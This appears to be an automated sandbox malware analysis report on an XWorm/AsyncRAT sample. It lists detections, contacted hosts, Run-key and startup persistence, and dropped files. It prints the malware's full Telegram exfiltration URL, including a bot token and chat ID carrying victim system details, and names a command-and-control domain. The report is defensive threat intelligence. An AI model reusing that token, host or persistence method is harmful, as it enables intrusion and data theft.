Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
yF21ypxRB7.exe	79%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
yF21ypxRB7.exe	100%	Avira	TR/Spy.Gen
yF21ypxRB7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\svchost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\svchost.exe	79%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Source	Detection	Scanner	Label	Link
perfect-invest.gl.at.ply.gg	100%	Avira URL Cloud	malware
http://www.bingmapsportal.comsv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
perfect-invest.gl.at.ply.gg	147.185.221.23	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7602273147:AAGPHHPgO8DxUDOWK0ZCgtSD_Rua_8wVzrE/sendMessage?chat_id=6589427579&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A95B5CEC98776D486C10E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20CO53M%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6	false		high
perfect-invest.gl.at.ply.gg	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	yF21ypxRB7.exe, svchost.exe.0.dr	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000002.00000002.1366782396.0000027E79877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365876022.0000027E79875000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000003.1366127965.0000027E79848000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366127965.0000027E79848000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000002.00000003.1264330890.0000027E79836000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366114410.0000027E79859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365942027.0000027E7986E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366768678.0000027E79870000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365861003.0000027E79855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366061020.0000027E7985D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=	svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.comsv	svchost.exe, 00000002.00000002.1366625213.0000027E79813000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	yF21ypxRB7.exe, 00000000.00000002.3701617400.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.1366114410.0000027E79859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000002.00000003.1365942027.0000027E7986E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366768678.0000027E79870000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000003.1365861003.0000027E79855000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
147.185.221.23	perfect-invest.gl.at.ply.gg	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557207
Start date and time:	2024-11-17 19:23:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	yF21ypxRB7.exe renamed because original name is a hash value
Original Sample Name:	b31d01d8e826ea4773cd7cfdbfca3712287024c03463acb374b5040af27fae71.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/5@3/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 97% Number of executed functions: 20 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, SgrmBroker.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target svchost.exe, PID 7584 because it is empty
Execution Graph export aborted for target svchost.exe, PID 7788 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: yF21ypxRB7.exe

Simulations

Behavior and APIs

Time	Type	Description
13:24:11	API Interceptor	15271065x Sleep call for process: yF21ypxRB7.exe modified
15:22:24	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
19:24:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost C:\Users\user\AppData\Roaming\svchost.exe
19:24:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost C:\Users\user\AppData\Roaming\svchost.exe
19:24:26	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	download.exe	Get hash	malicious	Remcos, XWorm	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
147.185.221.23	9GlCWW6bXc.exe	Get hash	malicious	XWorm	Browse
	fiPZoO6xvJ.exe	Get hash	malicious	XWorm	Browse
	EternalPredictor.exe	Get hash	malicious	Blank Grabber, Skuld Stealer, XWorm	Browse
	eternal.exe	Get hash	malicious	XWorm	Browse
	svchost.exe	Get hash	malicious	Unknown	Browse
	msedge_visual_render.exe	Get hash	malicious	XWorm	Browse
	exe030.exe	Get hash	malicious	XWorm	Browse
	pQm8Ci3Dov.exe	Get hash	malicious	XWorm	Browse
	jkL96SLfWS.exe	Get hash	malicious	XWorm	Browse
	xtrSvgqQEW.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
SALSGIVERUS	OXhiMvksgM.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	9GlCWW6bXc.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	fiPZoO6xvJ.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	EternalPredictor.exe	Get hash	malicious	Blank Grabber, Skuld Stealer, XWorm	Browse	147.185.221.23
	eternal.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	svchost.exe	Get hash	malicious	Unknown	Browse	147.185.221.23
	msedge_visual_render.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	exe030.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	pQm8Ci3Dov.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	jkL96SLfWS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	1Eo0gOdDsV.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\AppData\Roaming\svchost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\Desktop\yF21ypxRB7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

Download File

Process:	C:\Users\user\Desktop\yF21ypxRB7.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Nov 17 17:24:09 2024, mtime=Sun Nov 17 17:24:09 2024, atime=Sun Nov 17 17:24:09 2024, length=39936, window=hide
Category:	dropped
Size (bytes):	768
Entropy (8bit):	5.081788969415218
Encrypted:	false
SSDEEP:	12:8c71c24DN+2Chqi1Y//YjluILeN8N/ijA2NHkuWMbKJ2JzBmV:86mg2J98ltM/ABZMbKJ2Jtm
MD5:	0F1B1E9D385411B380D24343707FB74E
SHA1:	F8CDD6276FFA0D012CB483AE83F58F85CBD1A952
SHA-256:	5A4F037C24ED8F4536B1298A7F3C9DD564F27DA2779FDEFD49200FA58B780282
SHA-512:	2180B56CAD37317A90179F6D9FCAC73392D7DF6AED52FD1206336AC9F9AF43CB4D3D4B760948248820038E6E387CC78833932CBC7B26405833C697B09F1D0311
Malicious:	false
Preview:	L..................F.... ........9.......9.......9..........................v.:..DG..Yr?.D..U..k0.&...&......Qg._...L....9.......9......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=qY............................3N.A.p.p.D.a.t.a...B.V.1.....qY....Roaming.@......EW.=qY..............................'.R.o.a.m.i.n.g.....b.2.....qY.. .svchost.exe.H......qY..qY......6.....................S...s.v.c.h.o.s.t...e.x.e.......]...............-.......\...........\|dWy.....C:\Users\user\AppData\Roaming\svchost.exe........\.....\.....\.....\.....\.s.v.c.h.o.s.t...e.x.e.`.......X.......618321...........hT..CrF.f4... .t../Tc...,......hT..CrF.f4... .t../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\svchost.exe

Download File

Process:	C:\Users\user\Desktop\yF21ypxRB7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.5733994405622935
Encrypted:	false
SSDEEP:	768:feMIxy4cStkT1MfdDtVISFp9ITOMhkbF:feMIxnmpM5X3Fp9ITOMiJ
MD5:	640194B0D51307F362B74FD4A4A1761D
SHA1:	8E623F6BA2C87803F079B85578289359D71C6C90
SHA-256:	B31D01D8E826EA4773CD7CFDBFCA3712287024C03463ACB374B5040AF27FAE71
SHA-512:	7631827A014041C8066E334584116DB7A3320DE4FBBAE285C9C87BCCC53381DDC525ADD1F031E5920E01450155AA22B1550DE2725FF213EA9FBB3E5C26118DC2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\svchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g............................^.... ........@.. ....................................@.....................................W.................................................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................@.......H........Z...U............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2500083760919267
Encrypted:	false
SSDEEP:	24:QOaqdmuF3r1U+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxX:FaqdF71U+AAHdKoqKFxcxkF/q
MD5:	8AC922FDE84974AAA4492E69942C7F3F
SHA1:	E6899CEFD5879856926C4B99B3AB20CF87DF2346
SHA-256:	242BEA5557BB5D87BD7C008D6A229EA8CFA802A256CF516A375E0B39D95E6659
SHA-512:	E8FEB93CC28520B13602E25AE61C60483DD4591741FBB2D2E466D1F5C3B68D49BA9298502A8A117E59EA5B5E42CC8931DC56C6216B98577A45EF729C99CEB81A
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. S.u.n. .. N.o.v. .. 1.7. .. 2.0.2.4. .1.5.:.2.2.:.2.4.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.5733994405622935
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	yF21ypxRB7.exe
File size:	39'936 bytes
MD5:	640194b0d51307f362b74fd4a4a1761d
SHA1:	8e623f6ba2c87803f079b85578289359d71c6c90
